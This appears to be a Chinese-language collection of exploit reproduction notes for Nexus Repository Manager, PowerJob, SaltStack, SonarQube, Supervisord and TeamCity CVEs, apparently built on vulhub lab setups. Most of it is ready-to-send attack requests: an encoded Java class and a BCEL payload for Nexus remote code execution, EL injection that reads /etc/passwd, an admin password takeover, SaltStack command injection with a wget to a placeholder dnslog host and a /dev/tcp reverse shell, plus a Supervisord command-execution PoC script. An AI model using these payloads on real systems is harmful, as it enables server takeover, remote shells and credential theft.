近日,研究人员发现了通用软件包仓库管理服务 Nexus Repository Manager 3 存在访问控制缺失及远程代码执行漏洞,漏洞编号为 CVE-2019-7238

漏洞影响

Nexus < 3.14.0

环境搭建

https://github.com/vulhub/vulhub/tree/master/nexus/CVE-2019-7238

网络测绘

app=”Nexus-Repository-Manager”

漏洞复现

后台页面如下,任意上传 jar包

img

发送请求包执行命令

POST /service/extdirect HTTP/1.1
Host: 
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:63.0) Gecko/20100101 Firefox/63.0
Accept: */*
Content-Type: application/json
X-Requested-With: XMLHttpRequest
Content-Length: 7256
Connection: close

{"action": "coreui_Component", "type": "rpc", "tid": 8, "data": [{"sort": [{"direction": "ASC", "property": "name"}], "start": 0, "filter": [{"property": "repositoryName", "value": "*"}, {"property": "expression", "value": "function(x, y, z, c, integer, defineClass){   c=1.class.forName('java.lang.Character');   integer=1.class;   x='cafebabe0000003100ae0a001f00560a005700580a005700590a005a005b0a005a005c0a005d005e0a005d005f0700600a000800610a006200630700640800650a001d00660800410a001d00670a006800690a0068006a08006b08004508006c08006d0a006e006f0a006e00700a001f00710a001d00720800730a000800740800750700760a001d00770700780a0079007a08007b08007c07007d0a0023007e0a0023007f0700800100063c696e69743e010003282956010004436f646501000f4c696e654e756d6265725461626c650100124c6f63616c5661726961626c655461626c65010004746869730100114c4578706c6f69742f546573743233343b01000474657374010015284c6a6176612f6c616e672f537472696e673b29560100036f626a0100124c6a6176612f6c616e672f4f626a6563743b0100016901000149010003636d640100124c6a6176612f6c616e672f537472696e673b01000770726f636573730100134c6a6176612f6c616e672f50726f636573733b01000269730100154c6a6176612f696f2f496e70757453747265616d3b010006726573756c740100025b42010009726573756c745374720100067468726561640100124c6a6176612f6c616e672f5468726561643b0100056669656c640100194c6a6176612f6c616e672f7265666c6563742f4669656c643b01000c7468726561644c6f63616c7301000e7468726561644c6f63616c4d61700100114c6a6176612f6c616e672f436c6173733b01000a7461626c654669656c640100057461626c65010005656e74727901000a76616c75654669656c6401000e68747470436f6e6e656374696f6e01000e48747470436f6e6e656374696f6e0100076368616e6e656c01000b487474704368616e6e656c010008726573706f6e7365010008526573706f6e73650100067772697465720100154c6a6176612f696f2f5072696e745772697465723b0100164c6f63616c5661726961626c65547970655461626c650100144c6a6176612f6c616e672f436c6173733c2a3e3b01000a457863657074696f6e7307008101000a536f7572636546696c6501000c546573743233342e6a6176610c002700280700820c008300840c008500860700870c008800890c008a008b07008c0c008d00890c008e008f0100106a6176612f6c616e672f537472696e670c002700900700910c009200930100116a6176612f6c616e672f496e74656765720100106a6176612e6c616e672e5468726561640c009400950c009600970700980c0099009a0c009b009c0100246a6176612e6c616e672e5468726561644c6f63616c245468726561644c6f63616c4d617001002a6a6176612e6c616e672e5468726561644c6f63616c245468726561644c6f63616c4d617024456e74727901000576616c756507009d0c009e009f0c009b00a00c00a100a20c00a300a40100276f72672e65636c697073652e6a657474792e7365727665722e48747470436f6e6e656374696f6e0c00a500a601000e676574487474704368616e6e656c01000f6a6176612f6c616e672f436c6173730c00a700a80100106a6176612f6c616e672f4f626a6563740700a90c00aa00ab01000b676574526573706f6e73650100096765745772697465720100136a6176612f696f2f5072696e745772697465720c00ac002f0c00ad002801000f4578706c6f69742f546573743233340100136a6176612f6c616e672f457863657074696f6e0100116a6176612f6c616e672f52756e74696d6501000a67657452756e74696d6501001528294c6a6176612f6c616e672f52756e74696d653b01000465786563010027284c6a6176612f6c616e672f537472696e673b294c6a6176612f6c616e672f50726f636573733b0100116a6176612f6c616e672f50726f6365737301000777616974466f7201000328294901000e676574496e70757453747265616d01001728294c6a6176612f696f2f496e70757453747265616d3b0100136a6176612f696f2f496e70757453747265616d010009617661696c61626c6501000472656164010007285b4249492949010005285b4229560100106a6176612f6c616e672f54687265616401000d63757272656e7454687265616401001428294c6a6176612f6c616e672f5468726561643b010007666f724e616d65010025284c6a6176612f6c616e672f537472696e673b294c6a6176612f6c616e672f436c6173733b0100106765744465636c617265644669656c6401002d284c6a6176612f6c616e672f537472696e673b294c6a6176612f6c616e672f7265666c6563742f4669656c643b0100176a6176612f6c616e672f7265666c6563742f4669656c6401000d73657441636365737369626c65010004285a2956010003676574010026284c6a6176612f6c616e672f4f626a6563743b294c6a6176612f6c616e672f4f626a6563743b0100176a6176612f6c616e672f7265666c6563742f41727261790100096765744c656e677468010015284c6a6176612f6c616e672f4f626a6563743b2949010027284c6a6176612f6c616e672f4f626a6563743b49294c6a6176612f6c616e672f4f626a6563743b010008676574436c61737301001328294c6a6176612f6c616e672f436c6173733b0100076765744e616d6501001428294c6a6176612f6c616e672f537472696e673b010006657175616c73010015284c6a6176612f6c616e672f4f626a6563743b295a0100096765744d6574686f64010040284c6a6176612f6c616e672f537472696e673b5b4c6a6176612f6c616e672f436c6173733b294c6a6176612f6c616e672f7265666c6563742f4d6574686f643b0100186a6176612f6c616e672f7265666c6563742f4d6574686f64010006696e766f6b65010039284c6a6176612f6c616e672f4f626a6563743b5b4c6a6176612f6c616e672f4f626a6563743b294c6a6176612f6c616e672f4f626a6563743b0100057772697465010005636c6f736500210026001f000000000002000100270028000100290000002f00010001000000052ab70001b100000002002a00000006000100000009002b0000000c000100000005002c002d00000009002e002f0002002900000304000400140000013eb800022ab600034c2bb60004572bb600054d2cb60006bc084e2c2d032cb60006b6000757bb0008592db700093a04b8000a3a05120b57120cb8000d120eb6000f3a06190604b6001019061905b600113a07120b571212b8000d3a0819081213b6000f3a09190904b6001019091907b600113a0a120b571214b8000d3a0b190b1215b6000f3a0c190c04b60010013a0d03360e150e190ab80016a2003e190a150eb800173a0f190fc70006a70027190c190fb600113a0d190dc70006a70016190db60018b60019121ab6001b990006a70009840e01a7ffbe190db600183a0e190e121c03bd001db6001e190d03bd001fb600203a0f190fb600183a101910122103bd001db6001e190f03bd001fb600203a111911b600183a121912122203bd001db6001e191103bd001fb60020c000233a1319131904b600241913b60025b100000003002a0000009600250000001600080017000d0018001200190019001a0024001b002e001d0033001f004200200048002100510023005b002500640026006a002700730029007d002a0086002b008c002d008f002f009c003100a5003200aa003300ad003500b6003600bb003700be003900ce003a00d1002f00d7003d00de003e00f4003f00fb004001110041011800420131004401380045013d0049002b000000de001600a5002c00300031000f0092004500320033000e0000013e003400350000000801360036003700010012012c00380039000200190125003a003b0003002e0110003c003500040033010b003d003e0005004200fc003f00400006005100ed004100310007005b00e3004200430008006400da004400400009007300cb00450031000a007d00c100460043000b008600b800470040000c008f00af00480031000d00de006000490043000e00f4004a004a0031000f00fb0043004b004300100111002d004c0031001101180026004d004300120131000d004e004f00130050000000340005005b00e3004200510008007d00c100460051000b00de006000490051000e00fb0043004b0051001001180026004d005100120052000000040001005300010054000000020055';   y=0;   z='';   while (y lt x.length()){       z += c.toChars(integer.parseInt(x.substring(y, y+2), 16))[0];       y += 2;   };defineClass=2.class.forName('java.lang.Thread');x=defineClass.getDeclaredMethod('currentThread').invoke(null);y=defineClass.getDeclaredMethod('getContextClassLoader').invoke(x);defineClass=2.class.forName('java.lang.ClassLoader').getDeclaredMethod('defineClass','1'.class,1.class.forName('[B'),1.class.forName('[I').getComponentType(),1.class.forName('[I').getComponentType()); \ndefineClass.setAccessible(true);\nx=defineClass.invoke(\n    y,\n   'Exploit.Test234',\n    z.getBytes('latin1'),    0,\n    3054\n);x.getMethod('test', ''.class).invoke(null, 'cat /etc/passwd');'done!'}\n"}, {"property": "type", "value": "jexl"}], "limit": 50, "page": 1}], "method": "previewAssets"}

image-20240811170717290

CVE-2020-10199

Nexus Repository Manger group 后台远程命令执行

漏洞描述

Nexus 后台存在一处任意EL表达式注入漏洞,只需要任意一个用户权限即可

漏洞影响

Nexus < 3.21.1

环境搭建

https://github.com/vulhub/vulhub/tree/master/nexus/CVE-2020-10199

网络测绘

app=”Nexus-Repository-Manager”

漏洞复现

漏洞触发需要任意账户权限

img

登录任意用户后修改 NXSESSIONID,发送请求包

POST /service/rest/beta/repositories/go/group HTTP/1.1
Host: 
Connection: keep-alive
NX-ANTI-CSRF-TOKEN: 0.6153568974227819
Content-Length: 4789
X-Requested-With: XMLHttpRequest
X-Nexus-UI: true
Content-Type: application/json
404: "id"
Cookie: jenkins-timestamper-offset=-28800000; Hm_lvt_8346bb07e7843cd10a2ee33017b3d627=1583249520; NX-ANTI-CSRF-TOKEN=0.6153568974227819; NXSESSIONID=66e8bf5f-0544-4d7d-b1d7-970ce5158aff


{
        "name": "internal",
        "online": true,
        "storage": {
            "blobStoreName": "default",
            "strictContentTypeValidation": true
        },
        "group": {
            "memberNames": ["${' '.getClass().forName('com.sun.org.apache.bcel.internal.util.ClassLoader').newInstance().loadClass('$$BCEL$$$l$8b$I$A$A$A$A$A$A$A$8dV$eb$7f$UW$Z$7eN$b2$d9$99L$s$9bd6$9bd$A$xH$80M$80$5dJ$81$96$e5bC$K$e5$S$u$924$YR$ad$93eH$W6$3b$db$d9$d9$Q$d0j$d1Z$ea$adVQ$yj$d1R5$de5$a2$h$q$82h$V$b5$9f$fc$ea7$3f$f6$_$e0$83$3f$7f$8d$cf$99$dd$N$d9d$5b$fc$R$ce$ceyo$e7y$df$f3$3e$ef$cc$db$ef$de$bc$N$60$L$fe$a1$n$IGAVC$N$9cz$$$cfI$89$ab$m$a7$e2i$Nm$f04$e41$n$97$b3$w$s$a5$e4$9c$8a$f3$K$86U$7cR$c5$a74t$e0y$v$fd$b4$8a$cfhX$81$XT$5cP$f0Y$v$fa$9c$82$X5$7c$k$_$a9$b8$a8$e2e$F_P$f1E$V_R$f1e$F_Q$f1$8a$8a$afjx$V_$93$cb$d7$V$5cR$f0$N$N$df$c4e$Nk$f1$z$Nk$f0$9a$82$x$g$ba$e1$c8$cd$b7$e5$d3wT$7cW$fe$be$aea$r$ae$ca$e5$7b$K$be$af$e0$N$81$a07$e6$da$d6I$B$a3$ef$b45a$c5$d3Vf4$3e$e0$cbvP$bb3$95Iy$bb$Fj$a3$5d$83$C$81$5e$e7$a4$z$d0$d4$97$ca$d8G$f2$e3$p$b6$3b$60$8d$a4m$e9$ec$q$ad$f4$a0$e5$a6$e4$be$q$Mxc$a9$9c$40C$9f$3d$91J$c7$e5$c2$88$ea$ced$ba$U3$b4$df$f3$b2$bdN$sc$t$bd$94$93$RhY$A$a17m$e5r$b4o$Y$93Fc$W$ad$d2$95$m$9f$g9MGi$b2$7f$a1$89$e2$da$cf$e5$ed$9cG$f0cL$c2v$x$bd$fa$3d7$95$Z$95$40$5c$3b$97u29$C$N$9euS$9e4$8c$U$NSN$fc$u$ad$bc$e3$be$98$b6$b5$c9qV$u$3c$5c$zNM$969$86$Xh$8e$baN$d2$f6$b1$d7$8c0f$c7$7c$cc$3d$f9S$a7l$d7$3ey$cc$87$r$f5$b9$91y$fd$82$a0E$3b$ea$D$ac$94$84G$a4$f94$T$K$8d$z$wX$d0$f1k$m$a0$Xo$d1$bf$F$c21$X$c4t$edSi$da$c4$f7$a5$ec$b4$bc$d2$d0$C$d3$c3V$96$d8$x$F$y$fc$f9$f3$C$9a$t$_$d1wbM$8b$e7$e4$W$d5$60$fe$G4$3b$e3$b9$e7$fc$xcw$f8$9bA$x$9d$_$bb$b7Uv$c7$b9l$b9CZ$X_$f8$ce$ee$dd$M$d7$d8$efY$c93$c4$e2$9b$91U$K$ae$91$V$q$I$d9$40$S$u8$a8$e0M$bf$f5$af$94$fbX$ebw$f2n$92$t$ca$b8$f5$b2$d9b2$b6$8emx$b4$q$f0$5bP$t$7f$b7$ea$f8$B$7e$u$d0$bc$b8$e3u$fc$IS$3cL$c7$8f$f1$T$j$3f$c5$cf$E$3a$a5QL$g$c5$G$ee$X$aas$a0$a2h$3a$7e$8e_$I$d4y$c5$bc$ba$ff$l$9f$ce$bd$b2Nt$9a$90$a5$d2$f1K$fcJ$c7$af1$z$b0$ceqGc6y$92$cd$d9$b1$d3$b6$e7$9d$8b$e5lw$c2vc$95$8c$d1$f1$h$5c$e7$8d$8e$da$5e$F$F$9a$WUU$c7o$f1$bb$8at$8b7$a7$a0$a0c$G7X$3d$868V$e6M$bd$8cW$a2N$f3$e2$e6$q$Z$b6l$daB$d2$f9$ke$GI$97$e3$r$S$85$abp$88$W$f1$91T$s$3eb$e5$c6$d8$f7$h$93$K$7e$af$e3$sfu$fc$B$b7$d8$n$d59$c2N$$$x$Od$b2y$8f$Qlk$bc$a8c$H$e8$b8$8d$3f$ca$h$be$p$97$3f$95$c3$y$a1$92$8e$3fcZ$c7$5b$f8$8b$80$d0t$fcU$ee$ee$e2o$3a$fe$$$9bc$e5$7d$af$D$e9$b4$3dj$a5$7b$92$92$c1$7b$t$93v$b6H$b4$f0$7d$93$F$d2$f6$f7$60$Z$t$d9$92q$c0$aeN$e6$5d$97$dc$Y$u$N$dc$d6hW$b5$91$db$ccR$3e$c1$cb$b7X$85R$b4$8d$d1$a5$83$a7$eb$7d$u$de$98$b3$bdb$K$a9$e2$m$8e$9e$90$d3$bb$96$91$F$d6F$972$b8$ab$g$a9$95S$8e$7b$c4$g$a7$ff$9a$H$9c_$9e$d5$w$P$u$N$81p$b4$9a$81B$83b$c8$ca$e4$e7$87i$90$3d$e8O$b0H5$94$t$8a$8dv$d8$f6$c6$i$96$e5$f1$w$b0$86$97$9cZ$adP$c5$I$3c$af$e3$bdt$84$92$caL8g$Iu$7b$V$uU$a6$60$d5$g$$$e8$83c$f9$8c$97$92$a9$fb$5c$xo$o$Vu$u$89$e5$e8$b7$t$ed$a4$404Z$e5$9d$d3U$f5e$p$a7$c0$C$92$b0$3b$cb$a1$x$d9$p$b3$8eVU$c8$k$J$dfW$95$5eSR$aa$fas$ab$f82$b2$b2Y$3b$c3$falx$40S$yz$97$a9$9eS$k$mu$fe$ebv$d1$j$97$p$f0$b4$bad$da$c9$d9X$c5$ef$aa$m$bf$b7X19$b3$f9T$c3g$8es$ae$8fq$X$e7$af$e0o$5d$f7$M$c4$b4$af$de$ce5$e8$LU$q$b8$eaE$D$ec$c0N_$b6$ab$ec$i$e8$a4$dd2$c6$7es$W5C3$a8$bd$8e$c0$N$d4$j2$82$86R$80$da$b7$3eP$40$fd$fa$ee$C$b4$c3F$c3$N$e8G6$g$8d$94$t$Cf$40j$cc$c0$G$aa$ee$m$c4$bfD$9d$d1D$8bD$d0$M$g$cd$d2F1$V$df$a6$$$a1$9a$ea$edm$f5$b5$db$b4$88$W$a9$bf$s$b6$9ajD$db$9ch0$h$ee$8a$d5$a6b60FB7$f5$bb$a2$d9$d4$Lh$v$c00$c2$F$b4$5e$e1$d8$93$fbD$a3$d9hDjo$a1$ad$80vS$e7CG$Bf$od$86$a4$b2$c9l2$96$95$95$a1$b2$b2$d9$q$86$Wcy$80$8a$a1ZcE$bf$d46s$d7$c1$dd$H$b83$ef$60E$a2$85$be$P$z$f15LC$fa$7e$b0$ac0J$8a$3bX$99$I$Hoa$FC$ac$ea$l$K$Y$l$ea$l$aa3$5b$fa$T$ad7$b0$dal$z$a03$R$99$c5$9a$a1Y$ac$j2$p$F$ac$9bAt$G$5d$89$b6Yt$b3$b6$eb$T$ed$s$e3m$YJt$dcE$d8l7$Zs$a3$R$e3r$7cj$ee$j$b3$bd$80x$c24$c3$a6Y$c0$s$93$f9$3f$3c$85$ba$84$fe$a2$s$a6$de$7d$7b$K$81C$d3$bc$d8IqI$5c$c6fh$e2$aax$D$8f$m$e0_$f5U$ac$e3Z$cf$fehD$IM$fcxn$c6r$84$d99m$d4t$b0CL$f6$cdr$f4$e2$n$i$e4Go$3f5CX$8d$i$3a1$c9$af$e5$L$b4z$JQ$5cF$X$5e$c7z$5c$c7$G$be$93b$f8$t6$e1$k$k$W$3a6$8b$u$k$R$bb$b0E$3c$89$ad$e2$Zl$T6$k$TYl$X$_$60$87$b8$88$5d$e2$V$ec$W$97$d0Kt$3d$e25$ac$WW$b1$9f$I$f7$89k$3cQ$b6$e0$3bhg$ec$7b$d8$8d$P$T$e5u$fc$h$8f$a3$87ho$e2_$d8CY$TO$7b$8b$I$7b$88$fd$k$z$9f$c0$5e$b4$f0$e4$8b$d8G$99$c1$f3$cf$e0I$ecG$98$u$Gq$80Q$5b$89$a5$P$87$f8$3fBD$8f$e20$8e$a0$8d$b8bx$KG$d1$$$c6$99$d9G$Y$a5$83$f8t$i$e3$93$89$L$c2$60$f6$3d$dc$e7$c4$g$M$f0$a9$B$n$f1j$89Wm$e2e$3c$cd$e8$C$ab$c4$f38Nm$N$d6$89$b3$f8$u$f1$d5$o$$$iVm$905$ef$V$c38$81a$S$ea$a0$Y$c03$d4$G$d1$_$O$e1c$d4$w$f8$b8$8cD$cfb$b6$cf2$dbb$8e$cf2$c7OP7$8d$fa9$d8hP$60$v$YQ$c0o$80$93$feCh$feA$90$aes$fc$d7$f1$be6$be$b8$a8$99_m$7f$3d$a5$60T$c1$98$82$94$82$d3$c0$7f$b1$8c$9a9$Y$d0$l$U$Q$d8$a3$e0$cc$7f$m$e6$98$j$fc$5dZ$8e$9eq$7f$aed$fe$H$c3$e0$Q$5e$fb$N$A$A').newInstance()}"]
        }
}

image-20240811170825828

CVE-2020-10204

Nexus Repository Manger extdirect 后台远程命令执行

漏洞描述

Nexus Repository Manager 3 是一款软件仓库,可以用来存储和分发Maven、NuGET等软件源仓库。其3.21.1及之前版本中,存在一处任意EL表达式注入漏洞,这个漏洞是CVE-2018-16621的绕过。

漏洞影响

Nexus < 3.21.1

环境搭建

https://github.com/vulhub/vulhub/tree/master/nexus/CVE-2020-10204

漏洞复现

漏洞触发需要任意账户权限

img

该漏洞需要访问更新角色或创建角色接口,登录任意用户后修改 NXSESSIONID

发送请求包执行命令

POST /service/extdirect HTTP/1.1
Host: 
accept: application/json
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.138 Safari/537.36
NX-ANTI-CSRF-TOKEN: 0.856555763510765
Content-Type: application/json
Cookie: jenkins-timestamper-offset=-28800000; Hm_lvt_8346bb07e7843cd10a2ee33017b3d627=1583249520; NX-ANTI-CSRF-TOKEN=0.856555763510765; NXSESSIONID=e9d6620d-6843-49a6-a887-cd7cef74d413
Content-Length: 304


{"action":"coreui_Role","method":"create","data":[{"version":"","source":"default","id":"1111","name":"2222","description":"3333","privileges":["$\\A{''.getClass().forName('java.lang.Runtime').getMethods()[6].invoke(null).exec('cp /etc/passwd ./public/vuln.html')}"],"roles":[]}],"type":"rpc","tid":89}

另一处漏洞点

POST /service/extdirect HTTP/1.1
Host: 
accept: application/json
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.138 Safari/537.36
NX-ANTI-CSRF-TOKEN: 0.856555763510765
Content-Type: application/json
Cookie: jenkins-timestamper-offset=-28800000; Hm_lvt_8346bb07e7843cd10a2ee33017b3d627=1583249520; NX-ANTI-CSRF-TOKEN=0.856555763510765; NXSESSIONID=e9d6620d-6843-49a6-a887-cd7cef74d413
Content-Length: 304


{"action":"coreui_User","method":"update","data":[{"userId":"www","version":"2","firstName":"www","lastName":"www","email":"www@qq.com","status":"active","roles":["$\\A{''.getClass().forName('java.lang.Runtime').getMethods()[6].invoke(null).exec('cp /etc/passwd ./public/vuln.html')}"]}],"type":"rpc","tid":9}

访问 vuln.html

image-20240811170631128

CVE-2020-11444

Nexus Repository Manger change-password 低权限修改管理员密码漏洞

漏洞描述

Nexus Repository Manger存在低权限修改管理员密码漏洞,低权限用户发送特定的请求包可以修改管理员账号密码

漏洞影响

Nexus 3.x OSS / Pro <= 3.21.1

环境搭建

https://github.com/vulhub/vulhub/tree/master/nexus/CVE-2020-10204

漏洞复现

漏洞触发需要任意账户权限

img

登录任意用户后修改 NXSESSIONID,发送请求包修改管理员账号密码

PUT /service/rest/beta/security/users/admin/change-password HTTP/1.1
Host: 
accept: application/json
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.138 Safari/537.36
NX-ANTI-CSRF-TOKEN: 0.6080434247960143
Content-Type: text/plain
Cookie: NX-ANTI-CSRF-TOKEN=0.6080434247960143; NXSESSIONID=76b37c99-046c-47a9-ba7d-fd4cfa33b7ff
Content-Length: 11

data=123456

返回204则修改成功

image-20240811170602502

PowerJob

CVE-2023-29923

PowerJob list 信息泄漏漏洞

漏洞描述

PowerJob list接口存在信息泄漏漏洞,攻击者无需通过授权就可以访问授权的接口,获取敏感数据

漏洞影响

PowerJob

网络测绘

app=”PowerJob”

漏洞复现

登陆页面

img

验证POC

POST /job/list
Content-Type: application/json

{"appId":1,"index":0,"pageSize":10}

image-20240811172152588

saltstack

CVE-2020-11651

SaltStack 水平权限绕过漏洞(CVE-2020-11651)

SaltStack 是基于 Python 开发的一套C/S架构配置管理工具。国外某安全团队披露了 SaltStack 存在认证绕过漏洞(CVE-2020-11651)和目录遍历漏洞(CVE-2020-11652)。

在 CVE-2020-11651 认证绕过漏洞中,攻击者通过构造恶意请求,可以绕过 Salt Master 的验证逻辑,调用相关未授权函数功能,从而可以造成远程命令执行漏洞。

参考链接:

漏洞影响

SaltStack Version < 2019.2.4

SaltStack Version < 3000.2

漏洞环境

执行如下命令启动一个SaltStack Master服务:

docker compose up -d

环境启动后,将会在本地监听如下端口:

  • 4505/4506 这是SaltStack Master与minions通信的端口
  • 8000 这是Salt的API端口
  • 2222 这是容器内部的SSH服务器监听的端口

漏洞复现

本文档复现CVE-2020-11651漏洞。

我们可以使用如下请求来执行salt/master.py中的ClearFuncs:_prep_auth_info方法:

{'cmd': '_prep_auth_info'}

利用这个方法,可以获得目标的所有用户的key,利用这个key即可通过超级管理员权限执行一些后台功能,比如下发任务等。

使用这个POC,首先获取Key,再在master中执行touch /tmp/success

image-20240805160413503

CVE-2020-11652

SaltStack 任意文件读写漏洞(CVE-2020-11652)

SaltStack 是基于 Python 开发的一套C/S架构配置管理工具。国外某安全团队披露了 SaltStack 存在认证绕过漏洞(CVE-2020-11651)和目录遍历漏洞(CVE-2020-11652)。

在 CVE-2020-11652 目录遍历漏洞中,攻击者通过构造恶意请求,可以读取、写入服务器上任意文件。

参考链接:

漏洞环境

执行如下命令启动一个SaltStack Master服务:

docker compose up -d

环境启动后,将会在本地监听如下端口:

  • 4505/4506 这是SaltStack Master与minions通信的端口
  • 8000 这是Salt的API端口
  • 2222 这是容器内部的SSH服务器监听的端口

漏洞复现

本文档复现CVE-2020-11652漏洞,参考漏洞作者的说明:

The wheel module contains commands used to read and write files under specific directory paths. The inputs to these functions are concatenated with the target directory and the resulting path is not canonicalized, leading to an escape of the intended path restriction.

wheel/file_roots.py文件中的write方法,使用os.path.isabs来判断用户输入是否是绝对路径,可能目的是防止写入其他目录,但实际上攻击者可以通过../的方式跳转至根目录,进而写入任意文件:

msg = {
    'key': root_key,
    'cmd': 'wheel',
    'fun': 'file_roots.write',
    'path': '../../path/to/target',
    'data': 'test'
#    'saltenv': 'base',
  }

参考这个项目,编写一个简单的POC,写入/etc/cron.d/shell,利用crontab执行任意命令:

id > /tmp/success成功被执行。

也可以通过这个POC来复现该漏洞。

CVE-2020-16846

SaltStack 命令注入漏洞(CVE-2020-16846)

SaltStack 是基于 Python 开发的一套C/S架构配置管理工具。2020年11月SaltStack官方披露了CVE-2020-16846和CVE-2020-25592两个漏洞,其中CVE-2020-25592允许任意用户调用SSH模块,CVE-2020-16846允许用户执行任意命令。组合这两个漏洞,将可以使未授权的攻击者通过Salt API执行任意命令。

参考链接:

漏洞环境

执行如下命令启动一个SaltStack Master服务:

docker compose up -d

环境启动后,将会在本地监听如下端口:

  • 4505/4506 这是SaltStack Master与minions通信的端口
  • 8000 这是Salt的API端口,需要通过https访问
  • 2222 这是容器内部的SSH服务器监听的端口

漏洞复现

salt-api REST接口默认使用cherrypy框架,从run接口的实现上可以看出通过client参数动态调用NetapiClient类中的方法。

文中指定代码位置采用以下约定 FileLocation:Classname.method()

salt/netapi/init.py:NetapiClient.run()

img

low参数为外部传入参数,salt.utils.args.format_call方法将参数赋值给kwargs。

当client参数为ssh时,动态调用salt/netapi/init.py:NetapiClient.ssh(), 该方法未采用任何鉴权。

salt/netapi/init.py:NetapiClient.ssh()

img

跟进,路径如下:

salt/netapi/init.py:NetapiClient.ssh()⇒salt/client/ssh/client.py:SSHClient.cmd_sync()⇒salt/client/ssh/client.py:SSHClient._prep_ssh()

salt/client/ssh/client.py:SSHClient._prep_ssh()

img

该方法将kwargs外部可控参数更新值opts变量,该变量可以理解为SaltStack系统的环境变量,使用该变量初始化salt.client.ssh.SSH。

salt/client/ssh/init.py:SSH.__init__()

img

priv的值从opts变量中获取,并调用salt.client.ssh.shell.gen_key()方法

salt/client/ssh/shell.py:gen_key()

img

POST /run HTTP/1.1
Host: 
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: application/x-yaml
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 109

token=12312&client=ssh&tgt=*&fun=a&roster=whip1ash&ssh_priv=aaa|wget http://xxx.dnslog.cn

img

反弹shell的方法,先写 bash文件,内容为反弹shell语句,使用wget下载到目标中

#!/bin/sh
bash -c 'exec bash -i &>/dev/tcp/xxx.xxx.xxx.xxx/9999 <&1'

img

监听端口,使用 /bin/bash 运行文件 反弹shell

img

参考文章


SonarQube

SonarQube search_projects 项目信息泄露漏洞

漏洞描述

SonarQube 某接口存在信息泄露漏洞,可以通过工具下载源码

漏洞影响

SonarQube

网络测绘

app=”sonarQube-代码管理”

漏洞复现

主页如下

img

漏洞POC

http://xxx.xxx.xxx.xxx/api/components/search_projects

img

可通过工具下载项目中的源代码

https://github.com/deletescape/sloot

image-20240811180800394

SonarQube values 信息泄露漏洞 CVE-2020-27986

漏洞描述

SonarQube 某接口存在信息泄露漏洞,可以获取部分敏感信息

漏洞影响

SonarQube

网络测绘

app=”sonarQube-代码管理”

漏洞复现

主页如下

img

漏洞POC

http://xxx.xxx.xxx.xxx/api/settings/values

img

可泄露的为:明文SMTP、SVN和Gitlab等敏感信息

image-20240811180906522

supervisor

CVE-2017-11610

Supervisord 远程命令执行漏洞(CVE-2017-11610)

参考链接:

运行环境

docker compose build
docker compose up -d

环境启动后,访问http://your-ip:9001即可查看Supervisord的页面。

漏洞测试

直接执行任意命令:

POST /RPC2 HTTP/1.1
Host: localhost
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 213

<?xml version="1.0"?>
<methodCall>
<methodName>supervisor.supervisord.options.warnings.linecache.os.system</methodName>
<params>
<param>
<string>touch /tmp/success</string>
</param>
</params>
</methodCall>

关于直接回显的POC

@Ricter 在微博上提出的一个思路,甚是有效,就是将命令执行的结果写入log文件中,再调用Supervisord自带的readLog方法读取log文件,将结果读出来。

写了个简单的POC: poc.py,直接贴出来吧:

#!/usr/bin/env python3
import xmlrpc.client
import sys


target = sys.argv[1]
command = sys.argv[2]
with xmlrpc.client.ServerProxy(target) as proxy:
    old = getattr(proxy, 'supervisor.readLog')(0,0)

    logfile = getattr(proxy, 'supervisor.supervisord.options.logfile.strip')()
    getattr(proxy, 'supervisor.supervisord.options.warnings.linecache.os.system')('{} | tee -a {}'.format(command, logfile))
    result = getattr(proxy, 'supervisor.readLog')(0,0)

    print(result[len(old):])

使用Python3执行并获取结果:./poc.py "http://your-ip:9001/RPC2" "command"

image-20240805160649595

teamcity

CVE-2023-42793

Jetbrains TeamCity 认证绕过导致远程命令执行漏洞(CVE-2023-42793)

TeamCity 是 JetBrains 的构建管理和持续集成服务器。

在 TeamCity 2023.05.3 版本及以前,存在一处由于逻辑错误导致的认证绕过漏洞,攻击者利用该漏洞最终可以在目标服务器上执行任意命令。

参考链接:

漏洞环境

执行如下命令启动一个 TeamCity 2023.05.3 服务器:

docker compose up -d

服务启动后,你需要打开http://localhost:8111并执行一系列初始化操作:

漏洞复现

造成这个漏洞的原因是 TeamCity 内部对于所有以/RPC2为后缀结尾的请求都不认证权限。

而正好添加API Token的请求的结尾参数是Token的名字,我们可以添加一个名字为RPC2的API Token:

POST /app/rest/users/id:1/tokens/RPC2 HTTP/1.1
Host: localhost:8111
Accept-Encoding: gzip, deflate, br
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.6167.85 Safari/537.36
Connection: close
Cache-Control: max-age=0
Content-Type: application/x-www-form-urlencoded
Content-Length: 0

这样就成功绕过权限认证生成了一个新的Token。使用该Token来开启调试模式:

POST /admin/dataDir.html?action=edit&fileName=config%2Finternal.properties&content=rest.debug.processes.enable=true HTTP/1.1
Host: localhost:8111
Accept-Encoding: gzip, deflate, br
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.6167.85 Safari/537.36
Connection: close
Cache-Control: max-age=0
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
Authorization: Bearer eyJ0eXAiOiAiVENWMiJ9.UTlaUm5sYzQtRUZ0YTNhT1llU2xpTU43TjNF.MWY2NjI4MmQtYzFlMi00YTEwLTk1ZTEtMDFiZmZiOGY2NGY0

开启调试模式后,就可以执行任意命令了:

POST /app/rest/debug/processes?exePath=id HTTP/1.1
Host: localhost:8111
Accept-Encoding: gzip, deflate, br
